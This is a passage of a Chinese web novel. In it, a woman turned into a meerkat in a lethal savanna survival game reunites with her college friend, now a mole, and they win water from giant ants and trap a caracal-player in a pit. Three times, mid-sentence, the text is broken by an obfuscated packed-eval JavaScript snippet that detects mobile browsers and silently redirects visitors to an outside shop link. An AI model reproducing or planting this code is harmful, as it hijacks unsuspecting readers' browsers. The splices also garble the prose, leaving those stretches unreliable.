背包里还有能让她飞30秒的体验卡,就算那条岩蟒回来了,她也能逃跑,这个险值得冒!那岩蟒总不至于能飞吧? 宁安然一鼓作气蹿到了石缝边,从背包里拿出空水瓶,用尾巴抵着地面站了起来,两只爪子举着水瓶接水。 【检测到条纹獴肉*1,是否收入背包中?】 系统的提示音就突兀地响了起来。 岩蟒吃剩下的那条腿,变成了她可以拾取的物资。 宁安然嘴角的短毛向内挤了一下,胡须也跟着绷直了。 条纹獴的结局已经无法改变,与其由着这块肉在这里腐烂,或者被其他捕食者吃掉,还不如她拿来吃。 这个念头冒出来的时候,宁安然的动作停滞了一下。 她竟然被这个游戏同化得这么快了么…… 不过,她还是心里默念了【是】,将条纹獴肉收进了背包里。 那条岩蟒应该是吃饱了,在宁安然接满一瓶子水之后,它还是没有再出现。 就在这时,她早上发布出去的任务有动静了。 【“1-洞穴挖掘”任务已被玩家标记为完成,请在16小时23分钟内验收,逾期将自动判定为通过。】 洞穴的坐标已经显示在了地图上,在金合欢树区域的北面,离这片岩石区有挺长一段距离。 宁安然松了口气——运气还不错,要是洞穴在岩蟒的地盘附近,她都没胆子住。 她喝了几口水补充饮水度,便伏下身快步奔跑起来。 二十几分钟后,宁安然跑到了地图上黄色标记的位置。 那里是一条干涸的河道,河道下陷的深度和她人形态高度差不多。两侧的崖壁坑坑洼洼的,靠近底部的位置被曾经的水流冲出了几个小洞。 河床中央蹲着一只灰褐色的鼹鼠。 它的体型比狐獴小了一圈,圆滚滚的身体几乎找不到脖子,绿豆大小的眼睛在阳光下眯成了缝。 要不是它粗短的前爪动了一下,宁安然还以为它是一块泥巴。 在宁安然看到它的时候,它也看见了宁安然。它下意识地往河床边躲了躲。 意识到宁安然不是捕食者后,它又钻了出来,好奇地看着她。 看来它就是完成任务的玩家了! 终于见到了一个还活着的猎物,宁安然心里那根绷紧的弦略微松了一些。 从昨天到今天,她不是在被追猎,就是看着别的猎物被捕杀。眼前这只可爱的鼹鼠活生生地站在她面前,就足够她小小地庆幸一下。 她三步并作两步地顺着河崖往下跑,来到了那只鼹鼠的身边。 “你好,我来验收任务了!”宁安然扬声说道。 “嗨。我、我还以为这是游戏系统发的任务呢,还在想为什么还需要等待验收。”鼹鼠挪到了河道边,从河壁上搬开了一个土块,露出了一个狭小的洞口。 “请跟我来。”鼹鼠率先钻进了洞里。 如果不是它搬走了那块土,宁安然都没想到这里会有个洞。 她跟着鼹鼠钻进了洞中——那鼹鼠的声音,总让她感觉有些熟悉…… 入口通道先向上再向下,显然是为了防止雨季河水倒灌。通道尽头豁然开朗——一个两米多高、四五米见方的空间,地上铺着干草窝,天花板是拱形的,以树根为锚点加固,侧面还有几个斜向的小洞口用来通风采光。 这哪是洞穴,简直是个小型动物精装公寓! 原本她只是想要一个够狐獴睡觉的小洞,而这个空间大到可以让她以人形态活动。 “这也太完美了,简直是梦幻豪宅啊!”宁安然发自内心地感叹道。 鼹鼠有些不好意思地用爪子挠了挠头顶:“嘿嘿……对了,那个,我没有套近乎的意思,但是你的声音我总觉得之前听过。” 宁安然愣了一下。 她也觉得这个声音很熟悉,但一时之间对不上号——毕竟对方现在只是一只连脖子都没有的鼹鼠。 “嗯!我也觉得听过你的声音,但一时之间想不起来……要不我们变回人形看看?” “嗯!”鼹鼠也点了点鼠脑袋。 两只小动物同时在地上趴了下来,保持着不动,四只绿豆眼对在了一起,气氛略有些微妙。 30秒的蓄力时间,长得像一个世纪。 毛绒绒的两团身体就这样趴在干草窝边上,黑色和黄棕色的毛皮被泄露进来的光芒照得发亮,谁都没有说话。 30秒后,两边都陡然升高了,原本宽阔的空间也变得狭窄了起来。 面前的人身高比她矮一点,留着一头利落的短发,鼻梁旁边有一颗小痣,圆圆的大眼睛正满眼震惊地看着她。 “唐婧?”宁安然脱口而出道。 对面的女孩也惊讶道:“小柠?” 宁安然整个人定住了。 唐婧,是她大学时期跨学科小组的队友,也是她为数不多的朋友之一。当年她们一个学生物,一个学建筑工程,和另一个学金融的女孩郝萌一起,在大创项目上拿了一等奖。 “柠檬糖”是她们组合的名字,取了宁安然的“柠”,郝萌的“檬”,和唐婧的“糖”。 只不过,大学毕业之后她们就各奔东西,很少联系了。 但她永远记得唐婧,唐婧总是会把一杯芋泥波波奶茶“嘭”地一声拍在她面前,强迫电脑前的她停下来休息。 在那之前,从来没有人觉得宁安然需要休息。 唐婧立刻兴奋地握住了她的手,一扫刚才犹犹豫豫的语气:“天呐天呐,没想到居然在这里能遇到你!你不知道,我昨天刚来这里的时候有多慌,简直是大惊从早到晚失色啊!” 宁安然微微一笑。 这才是她认识的唐婧——刚才那只畏畏缩缩的鼹鼠根本不像她,现在这个手舞足蹈的才是! 两天了。从签下那份协议书开始,到现在整整两天。 她被拽进稀树草原,变成狐獴,吃了人肉,看着同类被生吞……她一直在拼命地狂奔,绝望地想办法,尽量不让自己死掉。 而现在,终于遇到了一个认识的人,亲切地叫她“小柠”。 宁安然的眼眶微微发酸。 但她没让唐婧看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470641|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,只是也回握住了她的手:“哎呀,我也没想到能在这里碰到你,太惊喜了!你是怎么到这个游戏里的呀?” 她确实很高兴,在这种地方,遇到同阵营的熟人和遇到其他活人完全不是一回事。 这意味着她在这个残酷的世界里有了一个知根知底、可以信任的人。 唐婧手舞足蹈地比划着:“我跟你讲,特别巧!我公司里定了《学术人物》,我其实平时根本不会去看的,但是昨天我在等人开会,就随便拿起来看了。 “结果我就看到你的那篇访谈了!刚想给你发消息祝贺来着,然后我就到这个游戏里了!” 她的回答让宁安然大为震惊,立刻皱起了眉:“糖糖,我也是在看了《学术人物》上我自己的专栏之后,才进入这个游戏的。” 难道说,她的专栏变成了一道异世界传送门?只要看到就会过来? 不过目前她遇到的样本太少,没法确认这个结论。 唐婧托腮若有所思,随后一本正经地说道:“这样的话……那在这个游戏里的岂不是都是你的粉丝?” 宁安然顿时满头黑线——她可不觉得昨天遇到的冠雕和今天遇到的蛇像她的粉丝。 “我觉得我更像会被他们吃掉的‘粉丝’。”宁安然吐槽道。 对一些大型捕食者来说,吃掉狐獴就和嗦粉一样,入口即化,都不够塞牙缝的。 说到这儿,宁安然心里重逢的喜悦褪去了些,生存危机又泛了上来,她看向唐婧。 “糖糖,你的主动和被动技能分别是什么呀?” 问完这个问题后,宁安然也解释了一下自己的技能是什么,将两张体验卡拿给唐婧看。 “哇喔,好酷!”唐婧打量了一下,随后举起“鹰眼”的体验卡说道,“我的主动技能和这个卡有点像,我的挖掘速度会提升100%,并且能检测到周围可食用的植物根茎,一天能用两次,一次15分钟。 “刚才早上的时候为了挖这个洞我就开了,15分钟内就挖完了,姐姐我是不是很猛!” 还没等宁安然夸赞她,唐婧突然猛地看向那张体验卡。 “等一下,等一下,小柠,你刚才说……这个卡是用灵魂做出来的?灵魂是啥意思?” 唐婧一脸“难道你杀了人?”的震惊表情。 宁安然无奈——她还真杀了人。 肚子里又略微痉挛了一下,哪怕已经过去了一天,那冠雕死亡时的惨状仍历历在目。 不过,一直沉溺于过去可不是宁安然的风格。 她很快打起了精神,嘴角勾起一抹邪恶的微笑,朝唐婧逼近了一步,吓得唐婧不禁向后撤退着。 “……灵魂就是我们死后留下来的东西啊,你难道不好奇,任务奖励的‘冠雕肉’是怎么来的么?” 唐婧的嘴巴张成了“O”形:“你你你……你干掉了一只雕?雕是不是和老鹰差不多来着……” 她一时之间不知道该惊恐还是该夸宁安然厉害,脸上的表情非常精彩。 宁安然看着唐婧那半边翘起来半边咧开的嘴角,不禁笑出了声:“噗,你别多想,是那只冠雕想把我当晚餐,我才不得不反杀了它。” 她很庆幸自己的身份是猎物,要是她是捕猎者…… 那她到底需要杀多少人,才能活下去? 听到这话,唐婧心里的惊恐被崇拜压倒了,她兴奋地拉着宁安然的手臂摇晃:“小柠,你也太猛了吧!以小老鼠之躯反杀大老鹰,简直是战神啊!!” 宁安然笑意更盛——她明显是不认得狐獴,在刚才她们以动物形态相遇时把自己认成鼠类了。 “什么小老鼠……我在这个游戏里是狐獴啦,比起老鼠,狐獴和猫科反而亲缘关系更近一些。你记不记得《狮子王》里辛巴有两个小弟,彭彭和丁满?丁满就是狐獴。” 唐婧吐了吐舌头:“……其实我一直以为丁满是老鼠来着。” 宁安然快要晕倒了——大学的时候唐婧在自己身边耳濡目染下学到了不少动物学知识,看来现在是一点不剩了。 “无语,敢情以前我讲过的知识你都还给我了啊!”宁安然无奈道,“得了,这些我之后慢慢再和你解释,话说你的被动技能是什么?” 唐婧拍了拍自己的脑袋:“对哦,刚才我都忘说了,我的被动技能是……” 5. 稀树草原 “我的被动技能是有三个额外的保鲜背包格,放在里面的食物不会掉新鲜度。 “怎么样,有这样的移动冰箱在家里,你几点回家?” 唐婧举起手臂,俏皮地摆出了方形的姿势。 宁安然眼睛一亮:“那我不回家了,带着我的移动冰箱浪迹天涯!” 在这个食物很容易腐烂的游戏里,唐婧的被动简直是完美的囤货天赋! 她们清点了一下背包,宁安然把易腐烂的冠雕肉和条纹獴肉放进了唐婧的背包里。她也顺便把【洞穴挖掘】任务给结算了。 这一清点可真给她俩弄得压力山大——除了肉和唐婧找到的几个野山药之外,真的是一穷二白。 明天旱季就要来了,她们现在最需要的是找到水源。 “糖糖,我包里这瓶水最多只够我们俩喝一天,要不我们现在出去找水源吧?”宁安然询问道。 说到这个,唐婧若有所思地摸了摸下巴:“说到这个,其实我昨天就在附近发现了一个池塘,但是周围有特别特别多蚂蚁,我完全过不去!” 宁安然的表情在她说前半句话的时候兴奋了起来,在她说后半句话的时候又皱起了眉。 “有蚂蚁?但是你直接用人形态踩过去不行吗?” 蚂蚁太多的话以鼹鼠形态确实很难通过,但是对于人来说,它们应该完全不成问题。 唐婧的头立刻摇得像拨浪鼓一样:“不不不不不,那些蚂蚁特别特别大!要不我们现在过去看看,你去了就知道了!” 说完,她立刻推着宁安然往洞口方向走去。 在“柠檬糖”里,唐婧总是执行力最强的。每次一给她什么任务,宁安然和郝萌都会在第二天早上发现她凌晨发过来的文件。 “不做完我根本睡不着!” 唐婧则会在第二天下午顶着黑眼圈和鸡窝头出现,那落魄的模样,同学们还以为有流浪汉跑进学校里了。 以前宁安然会拦着唐婧让她慢点来,但这次她直接果断地跟着她一起朝洞口走。 在这个世界里,水源非常难找,她们必须抓住每个机会。 而且,那里只是个池塘,根本没多少水,被其他人先发现了就没有她们的份儿了。 “很大的蚂蚁……是斗牛犬蚁吗?下颚上面有刺,身体是红色,屁股是黑色的那种?”来到了洞道附近,宁安然变成了狐獴形态,跟着鼹鼠向前爬行。 鼹鼠晃动了一下身子:“不是不是,是纯黑色的,但是特别特别大!” 宁安然一头雾水——特别大的纯黑色蚂蚁?她还真想不到是哪种生物。 离开洞穴之后,唐婧带着宁安然往地图的东边跑。 烈日炙烤着稀树草原的大地,还没有到旱季,就已经有了把人烤焦的趋势。 索性狐獴和鼹鼠趴下来的时候都比草矮,有了天然的遮阳篷,八只爪子在草原上狂奔着…… 由于鼹鼠跑得很慢,唐婧是在狂奔,而宁安然完全是在闲庭信步了。 等到了目的地的时候,宁安然从草丛里站了起来,看到眼前的景象就傻了眼。 前方是一处横断的山崖,山崖下有一汪清澈的池塘水,一看就够她们喝好久的了。 然而,池塘周围围着一圈的,真的是“特别特别大”的蚂蚁。 那些蚂蚁的样子看上去是草原上常见的弓背蚁,通体漆黑。 但是……它们每一只的体型都跟狐獴差不多大! 宁安然的理智值开始疯狂下跌。 原本昆虫就不能细看,现在变得这么大了之后,它们身上的每一个细节都非常清晰。 它们的环状体节被地面压得微微变形,甚至还能在下腹隐隐看见内脏…… 而且这样的蚂蚁不只有一只,在她们面前有成千上万只! 宁安然在学校里最讨厌学科的就是昆虫学,最讨厌的课是需要解剖昆虫的实验课。 她的课题是哺乳动物的捕猎行为,所以已经很久没碰过虫子了。 现在,她又回想起了本科解剖蚱蜢时的恐惧。 她头上的青筋一跳,不妙的感觉涌了上来。 宁安然打开终端看了一眼,果然,理智在刚才看到条纹獴被杀的场景后掉到了70,现在又掉到了65。 如果让她选的话,她宁可再打一次冠雕。 “诶,小柠,你怎么在往后退?”唐婧仰头凝视着这只正站立着向后挪动的狐獴。 宁安然的脚步顿了下来:“……你不觉得,这种有很多节的东西,看起来很吓人吗?” 唐婧也是怕虫子的,不过她倒没有宁安然这么讨厌,鼹鼠微微点了点脑袋:“确实吓人,要是阿檬也在就好了,她从来都不怕虫子。” 郝萌是“柠檬糖”三人组里的冷静担当。每次碰到虫子的时候,宁安然和唐婧只能缩在角落瑟瑟发抖,看着她像一个骑士一样走上去,一脚踩扁。 宁安然也感叹道:“虽然不希望她被拉进这个游戏,但真希望她现在能出现在这里啊!” ……与此同时。 离她们很远的地方,某只豹子打了一个喷嚏。 …… 看着面前密密麻麻的黑色节肢动物,宁安然深吸了一口气,挪动爪子向前迈了几步。 要是没水的话,她们就没办法继续生存下去。 郝萌不在,自己也要继承她的意志坚强起来! 就在她靠近弓背蚁的时候,她的脑海中响起了一道提示音。 【叮—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470642|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “地区限定活动-蚁区水源”已解锁。】 她身旁的唐婧也停顿了一下,看样子是同时解锁了。 宁安然打开终端,现在【活动】那一栏显示着一个未读标记,她点了进去。 【地区限定活动-蚁区水源: 活动描述:附近唯一的水源被巨型弓背蚁包围,数以千计的工蚁正在巡逻,而兵蚁的上颚可以轻松咬穿你的皮肤……或者直接咬断你的腿,取决于你现在有多小。脱水而死和被虫群啃死,你更喜欢哪种死法(*^▽^*)? 活动目标:抵达池塘。 活动奖励:水桶*1(容量5L)。】 看着那欠打的颜文字,宁安然的青筋绷了起来。 果然那些巨型蚂蚁不是正常的生物,而是这个游戏明晃晃的恶意!! “天呐,我还是宁可脱水而死……”一想到另外一种可能,唐婧就不禁打了个冷战,她黑色的绒毛从上到下颤抖了一下。 宁安然的爪子坚毅地搭在了鼹鼠的肩膀上,或者说搭在了她小脑袋旁边的地方。 “不会死的,至少不会是今天!” 宁安然的心里已经有了对策。 弓背蚁的特性是,一旦侦查蚁发现了食物,就会招募一大批工蚁排成一排去搬食物。 她观察了一下,那群蚂蚁里只有一小部分是下颚特化了的兵蚁,绝大部分都是工蚁。 如果能把那群工蚁引开,那她们就有机会接近水源了! 宁安然把自己的想法告诉了唐婧:“……所以说,我们把工蚁引开之后,火速进去拿水桶装完水跑路,应该来得及。” 唐婧一知半解地点了点头,虽然她不太懂蚂蚁,但她无条件相信宁安然。 “不过你打算用什么引开蚂蚁呢?它们吃冠雕肉或者薯蓣吗?” 宁安然立刻晃了晃爪子,爪尖捏着一张卡片,故作神秘地扬起嘴角。 “哼哼,是时候使用神奇的妙妙工具了!” “鹰眼”体验卡:5秒之内,30米范围内所有在她食谱里的食物都会被高亮标记。 狐獴和蚂蚁的食谱是有交叉的,所以“鹰眼”一定能找到蚂蚁也爱吃的东西。 宁安然心念一动,那张白卡就在她手中化为了齑粉。 顿时,她的视线里所有的事物都变成了黑白两色,而面前的那些巨型蚂蚁成了高亮的红色。 成千上万的红光让整片池塘变成了一片火海。 宁安然差点把早上吃的冠雕肉给吐出来。 ……她都忘了,蚂蚁也在狐獴的食谱里。 她强迫自己把视线从那片令人作呕的红色中挪开,扭过头寻找其他标记。 在她们后方的地底下,有一簇微弱的红光。 6. 稀树草原 宁安然用爪子拨开周围遮挡视线的野草,朝刚才发着红光的地方走去。 在细密的青草之间,匍匐着几条粗壮的经脉,周围蔓延着一些卷须,而在那些卷须上面…… 长着一颗西瓜! 虽然那颗西瓜有一半被埋在了地里,表面也覆盖着土色,但绝对是稀树草原特有的野生西瓜无疑了! 它的个头比人们吃的西瓜更小,也没那么甜。可在这种贫瘠的地方,它绝对是稀缺资源。 宁安然连忙戳了戳唐婧的爪子,唐婧立刻心领神会,埋头挖起土来。 毛茸茸的黑色爪子在泥土地里上下翻飞,没两分钟就把那颗西瓜从地里挖了出来。 “我决定封你为《动物世界》第一挖掘机!”宁安然感叹道。 唐婧骄傲地挺了挺圆滚滚的胸膛:“毕竟我在工地天天打灰,这都小场面。” 宁安然变回了人形态,一手提了一个西瓜走到蚁穴旁边。 看着那翠绿鲜亮的瓜皮,她已经想象到了内瓤香甜的口感了,不禁吞了吞口水。 舍不得西瓜套不着水! 那两颗西瓜的水分加起来也远远比不上5升的水,这交易值! 宁安然松开手,那西瓜们就“嘭”地一声砸在了地上,一时间,绿的皮、红的瓤、黑的籽全都瓢泼般滚落在地上。 在烈日的照射下,灼热的空气带着清甜的味道迅速飘散到了蚁穴。 先是几只侦查蚁爬了过来,用触角在西瓜果肉上扫了扫,随后迅速钻回了蚁穴中。 没一会儿,那几只侦查蚁就又钻了出来,后面密密麻麻地跟着几十只工蚁,每一只都仿佛装了导航一样,紧密地连成了一条直线。 蚂蚁们被西瓜吸引了注意力,池塘附近的巡逻明显稀疏了很多。 宁安然和唐婧交换了一个眼神,同时变回人形态,朝池塘走去。 池塘边的地面很泥泞,每跨一步半只鞋子都会陷进去,加上不时有老鼠大小的蚂蚁从脚面上爬过,如同一条地狱之路。 宁安然咬着牙让自己不往下看,强行忽略脚上酥麻的感觉。 【叮——恭喜您完成“地区限定活动-蚁区水源”,奖励已发放。】 宁安然和唐婧的脚边都出现了一个和小腿差不多高的塑料水桶。 这还是宁安然进入这个游戏之后,第一次见到工业产物。 她松了一口气,好歹刚才的艰苦奋斗没有白费。 她找了一块蚂蚁比较少的地方蹲了下来,伸手舀了一瓢池塘水送到嘴边。 清澈甘甜的水滋润了干涸的嘴唇和喉咙,她终于在这无止境的烈日之下感受到了一丝凉意。 她连喝了好几口,直到把饮水度补满了之后,才停了下来。 工蚁们将比它们大了数十倍的西瓜果肉一块一块地往蚁穴里驮——对普通大小的蚂蚁来说,那两颗西瓜绝对是巨物,但对这些本就被放大了的蚂蚁来说,用不了多少时间就能把它全搬回家。 “我们赶紧舀水回去吧,那些蚂蚁也快回来了。”宁安然朝正在猛喝水的唐婧那儿看了一眼。 唐婧朝她点了点头。 两人各自拿着自己的塑料水桶伸进池塘中,舀了满满5升的池水。 光是这个舀水的动作,就让唐婧抹了一把汗:“呼……早知道多去公司的健身房举举铁了,好累!” 宁安然轻轻拍了拍唐婧的后背,不禁笑出了声:“噗,这才五公斤诶!” 在大学时期,唐婧就是标准的脆皮大学生,每次体测都能要了她的命。看来现在她从脆皮大学生转变成了脆皮打工人。 她们随后把装满水的大水桶收进了背包里,按照来时的路往回走。 这个世界比她原本世界的稀树草原地形更残酷,食物非常稀缺,而水源则要完成活动任务才能获得。 只有顺应游戏规则的人,才能在这里活下来。 “我们变回动物吧,现在这样挺危险的。”走出蚁穴范围后,宁安然提醒道。 人形态下她的被动警报完全无效,连周围有没有捕食者都不知道,让她很不安。 唐婧点了点头,乖乖地站在原地不动,随后身高骤然缩短:“嘿嘿,这个活动我们算是顺利完成啦,接下来好几天都不缺水了。” 宁安然也变回了狐獴形态,随后脑子里就瞬间响起了警报。 “滴滴,滴滴,检测到捕食者靠近,滴滴——” “……好像也不是太顺利,周围有捕食者。”宁安然沉下了表情,警戒地环顾着周围。 “啊?”唐婧立刻僵在了原地,毛茸茸的身体微微打颤。 她来到这里之后遇到的动物只有宁安然,从来没见过捕食者。 宁安然警惕地环顾着周围。 微风还在吹拂着青草,一旁的蚂蚁也继续勤勤恳恳地搬动着西瓜块,似乎没什么不对。 但她总觉得好像有人在看她们。 小时候,每次她有这种感觉的时候,接下来总会有不好的事发生。不是有小孩突然扔了个摔炮到她脚边,就是有野狗要过来追她了。 宁安然的目光扫过周围的草丛、稀疏的树木和云朵的倒影,很快停在了不远处的一棵金合欢树上——树旁边一小块地方的影子比别的地方更深一点,好像有什么东西正贴着树干站着。 宁安然朝金合欢树的方向扬了扬嘴努子,低声道:“在那儿。” 下一刻,一只黄棕色的大猫从附近金合欢树的树后无声地绕了出来。 它两只耳朵竖得笔直,尖端各伸出一簇黑色的长毛,微风吹拂着毛尖,如同两支正在书写着的墨笔。 它走路的时候没有一点声音,皮毛下的肩胛骨被顶了起来,随后又向下压平,压迫感如潮水般向两人袭来。 唐婧紧盯着那只大猫,声音颤抖着:“这……这是豹子吗?” “不是,是狞猫。”宁安然的声音更低了一些,黄棕色的小脸皱成一团,看着狞猫的每一个动作。 自然界中,狐獴和鼹鼠完全不是狞猫的对手。 而且她想到了上午那条岩蟒不正常的咬合力。捕猎者和她们一样,也是有技能的,这只狞猫会不会有什么特殊的底牌? 更让她警惕的是,狞猫显然已经在这里潜伏很久了,却没有在她们刚到池塘时就动手。 它是在等她们把水弄到手。 捕猎者也需要喝水,那群蚂蚁对他来说也是个大麻烦。与其自己想办法,还不如等猎物把水弄到手之后,再来个一石二鸟。 ……这看起来是个难办的对手。 就在宁安然思考着要怎么办的时候,那只狞猫却停了下来,张开了下颌。 “我只需要一个人做我的晚餐,你们两个,谁想活,谁想死?” 狞猫发出了一道低沉的老年男声,像古井一般深不见底。 宁安然的心跳到了嗓子眼。但她没有让自己的表情变化。 在城中村的时候,有人用这种口气跟她说过类似的话。那些人都有一个共同点——他们需要你先害怕,然后才能控制你。 所以她不能怕。至少不能让他看出来。 “你凭什么觉得,你能抓住我们?”宁安然平淡地问道。 狞猫琥珀色的眼睛眯了眯,瞳孔竖成了一条缝,如同一道天地间的裂缝在凝视着宁安然。 “看来……你们是都想死了。” 话音还没落,狞猫的黑色耳簇顿时压低,目光锁定了她们的方向。 他的后肢猛地蹬地,随后那具红棕色的身躯就在草原上凭空消失了。 宁安然顿时觉得大事不妙,她下意识抬起头,只见一个深色的阴影遮住了一小块天空,那阴影正在朝着她逐渐变大。 他一跳跳了竟十几米高?! “糖糖,快跑!”宁安然立刻喊了出来。 与此同时,她也迅速向前狂奔,对于小型生物来说相当巨大的身影正呼啸着向她压来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470643|201460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嘭!” 尖锐的银光在她头顶半寸划过,随后一声沉重的闷响从她背后传来,扬起了一片尘土,差点把狐獴的小身板给掀翻。 那狞猫果然有底牌——跳跃类的强化技能,那两条后腿就和弹簧一样。如果被他从天上压下来,哪怕是一个一米八的壮汉也会被砸扁。 这和冠雕完全不一样。冠雕的攻击方式是俯冲,有固定的攻击角度,停不下来。而狞猫从高空落下时可以在空中调整方向,她没有办法用上次的方法反杀。 宁安然不敢回头,她立刻纵身钻到了面前的草根处,用尽全身力气向前狂奔。 眼下她只能先逃跑了。 那狞猫果然有底牌! 又是一阵风袭来,周围的地面一阵震颤,狞猫又跃到了高空中。 看样子狞猫是把她当做目标了,唐婧暂时应该是安全的。 宁安然一边撒腿狂奔一边高速思考着——如果用那张飞行体验卡的话,她能直接飞走,但唐婧就要遭殃了…… 不行,她不能丢下唐婧。 但是她也想不到能让两个人都活下来的办法。 宁安然的头顶被罩下了一片阴影,她连忙扭过身子改变方向,勉强躲过了这一扑。 她脑袋又开始疼了,熟悉的眩晕感涌了上来。 每次狞猫起跳降落一次,她都能感觉到理智猛地下降了一截。恐惧和大量的体力消耗同时涌向她,侵蚀着她的思绪,令她的视野边缘开始模糊。 她的余光看到了狞猫落下来的地方,在那附近,周围的地面都下陷了一块。 土地下陷…… 在狞猫坠落的冲力下,本就松软的土很可能会塌陷! 宁安然眼睛一亮,心里有了一个主意—— “糖糖,来我这里,用……用你的主动技能!”她立刻吼道。 唐婧愣了一秒,随后立刻领悟了宁安然的意思,二话不说,直接钻进了地里。 狞猫的瞳孔骤然撑圆,他的声音很近,宁安然甚至能隐约感觉到他那危险的呼吸。 “什么主动技能,能救下现在的你?” 宁安然没有回答。她的眼睛在搜索着地面——她需要唐婧在狞猫下一次起跳的间隙里,在脚下的松土中挖出一个足够深的坑。 狞猫从高空落下时的重量加上冲力,只要坑够深,他就会直接砸穿表层坠下去。 但这个计划有两个前提。唐婧必须在几十秒内挖出那个坑,而且她必须把狞猫引到那个位置。 她的理智值还够支撑她做到这些吗? 虽然宁安然闪开了刚才那一击,但她的毛皮已经开始不断颤抖,她快要力竭了。 周围的尘土再度被卷飞了起来,狞猫跃到了空中。 因为他们之间离得很近,这一次,他没有跳得很高。 唐婧已经开始挖了。开了主动技能的她挖掘速度翻倍,黑色的爪子在松土中疯狂翻飞。 宁安然不敢去看她挖到了什么程度,只能拼命地跑,把狞猫的注意力死死钉在自己身上。 下一瞬间,她眼前的东西彻底变了。 红土地上的黄褐色杂草变成了一根根插在红薯上的香蕉,不断地旋转着。天空变成了一块巨大的蓝色橡皮,正在擦除地面上的一切。 她的理智值见底了。 黑影比刚才更快地压了下来,宁安然几乎没有逃跑的余地。 突然,她在那片旋转的红薯地里,有一块“红薯皮”翘了起来,周围的“香蕉”也倒了一小片。 宁安然眼睛一亮——就是那里! 宁安然用尽最后的力气朝那块地方扑了过去,爪子死死地抠住地上的东西——是草根,还是香蕉皮,她已经分不清楚了。 “轰——” 巨大的阴影从她头顶砸了下来,那尖锐的利爪和牙齿刮过了她的后背,随后整只猫连带着周围松动的泥土陷了下去,坍塌了一大片。 他掉进了一个深坑中。 7. 稀树草原 ……还好那不是幻觉,她真的找到了唐婧挖坑的位置,不然她现在已经是被压成狐獴干了。 开了主动技能的唐婧挖掘速度翻倍,趁着宁安然被追杀的时候,没到一分钟挖完了一个大坑。 她故意没有挖穿最后一层薄土,从空中根本看不出地面有异样。狞猫落地时冲力极大,一下子就砸穿了。 这时,唐婧从大坑旁边的泥土里面钻了出来,看到靠着一只爪子悬挂在坑边缘的宁安然后,立刻用两只大爪子托住她的前肢,将她拉了上来。 “小柠,你怎么样?你有受伤吗?” 宁安然借力爬了上去,她现在又饿又晕,不用看就知道她的理智值和饱腹值肯定都见底了。 她四肢无力地瘫软在了草地上,尾巴也虚弱地垂落着。 “快点……拿一块肉给我吃。” 唐婧连忙从背包里把冠雕肉掏了出来,将那块足有狐獴三分之一大的肉放在了宁安然的嘴边。 宁安然张嘴咬了一口,淡淡的血腥味溢满了口腔,令她稍微清醒了一些。 面前的香蕉和红薯终于消失不见了,变回了红土地和枯草的样子。宁安然半坐了起来,用爪子举起肉,将剩下大半块给吃完。 她喘着粗气,四肢还在微微发抖着。 “……我见过……眼神。” 大坑的下方忽然传来了一道虚弱的声音,令人听不太分明。 宁安然一怔,她扒在大坑的边缘向里面探出头。 坑底,躺着一个约莫八十岁的老人。他杂乱的灰白头发上沾满了脏污,明显小了一号的短袖T恤衫将他干瘦的身体勒得棱角分明。他躺在杂草和泥泞之中,连气都喘不上来了,但浑浊的眼睛却直直地看向她,里面带着癫狂的笑意。 这是……刚才那个狞猫? 他用自己的最后一点理智变回了人形。 宁安然紧盯着他的脸——岁月在上面刻出了深深的纹路,那不是正常衰老的皱纹,而是只有底层贫民才会有的沧桑纹路,是长年累月被生活碾压过之后的绝望。 她见过这种脸。在她所在的城中村里,到处都是这样的脸。 “你说什么?”宁安然皱眉问道。 老人咧开嘴笑了,鲜血顺着他的嘴角溢了出来,随着他说话时嘴唇的起伏,在下巴上蔓延出几道血痕。 “我说……我,见过你这样的眼神。你,你和我是一样的人。” 宁安然的心顿时漏跳了一拍,她眯起了眼睛:“你什么意思?” 而在心底里,她隐约感觉到了老人是什么意思。 他说的那种眼神,是在绝境中暴露出的冷漠眼神。 悲伤、痛苦、逃避……那是正常人在绝境里的情绪。对于每天都在绝境里的人,这些情绪反复翻腾过无数遍,最终归于冷漠。 老人笑得更剧烈了,胸腔不断地起伏着,肋骨不断地把淤血压到他嘴唇边,一阵一阵地涌出:“像我们这样的人,是……是这个世界的蚂蚁,总有一天,会、会被人踩死,哈哈哈哈……” 唐婧看着老人异常的样子,她不安地用爪子推了推狐獴。 “小柠,他是不是疯了……我们、我们快走吧。” 宁安然却没有往回走,而是缓缓变成了人形,在洞穴边缘站了起来。 唐婧从来都不知道宁安然是在城中村的底层长大的。大学四年期间,没有人知道这件事。周围的同学们都以为她是普通家庭一路顺风顺水考学上来的,从来没有人怀疑过。 但这个将死的老人,却一眼就认出来了。 “老家伙,你甘愿认命是你的事,我和你不一样。” 